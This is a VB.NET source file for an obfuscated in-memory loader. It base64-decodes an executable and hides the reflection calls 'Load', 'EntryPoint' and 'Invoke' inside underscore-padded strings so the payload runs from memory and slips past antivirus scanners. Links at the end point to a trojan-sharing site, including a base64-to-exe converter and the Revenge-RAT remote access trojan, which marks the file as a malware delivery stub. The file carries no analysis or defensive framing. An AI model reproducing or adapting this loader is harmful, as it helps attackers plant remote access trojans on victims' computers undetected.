Module Module1
    Sub Main()
        Run_2(Dec_2(""))
    End Sub
    Public Function Run_1(ByVal Data As System.Byte()) As System.Object
        Dim H1 As System.Object : Dim H2 As System.Object : Dim H3 As System.Object
        Dim R1 As System.Object = Dec_1("_________________________________________________________________________________________________________L_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________o_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________a_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________d_________________________________________________________________________________________________________") : Dim R2 As CallType = CallType.Method
        H1 = Interaction.CallByName(System.AppDomain.CurrentDomain, R1, R2, Data)
        Dim F1 As System.Object = Dec_1("E") + Dec_1("_________________________________________________________________________________________________________n_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________t_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________r_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________y_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________P_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________o_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________i_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________n_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________t_________________________________________________________________________________________________________")
        Dim F2 As CallType = CallType.Get
        H2 = Interaction.CallByName(H1, F1, F2)
        Dim G1 As System.Object = Dec_1("_________________________________________________________________________________________________________I_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________n_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________v_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________o_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________k_________________________________________________________________________________________________________") + Dec_1("_________________________________________________________________________________________________________e_________________________________________________________________________________________________________")
        Dim G2 As CallType = CallType.Method
        Dim G3 As System.Object = 0
        Dim P1 As System.Object = New String(1 - 2) {}
        H3 = Interaction.CallByName(H2, G1, G2, G3, P1)
        Return H3
    End Function
    Public Function Dec_1(ByVal Data As String) As String
        Dim H1 As Char() = {"_"c}
        Dim H2 As String = Data.Trim(H1)
        Return H2
    End Function
    Public Function Dec_2(ByVal Data As String) As Byte()
        Return CType(GetType(System.Convert).GetMethod(Dec_1("____________________________________________________________________________________________________________________________________________________________________________________________________FromBase64String____________________________________________________________________________________________________________________________________________________________________________________________________")).Invoke(0, {Data}), Byte())
    End Function
    Public Function Run_2(ByVal Data As Object) As Object
        Return System.Type.EmptyTypes.GetType.Namespace.TrimStart(Run_1(Data))
    End Function
End Module

----------------------------------------------------------------------------------

Convert [Base64] To .exe & .exe To [Base64]
http://www.connect-trojan.net/2017/12/convert-base64-to-exe-and-exe-to-base64-by-fabinhoff.html

Revenge-RAT v.0.3 By N A P O L E O N
http://www.connect-trojan.net/2016/12/revenge-rat-v.0.3-by-napoleon.html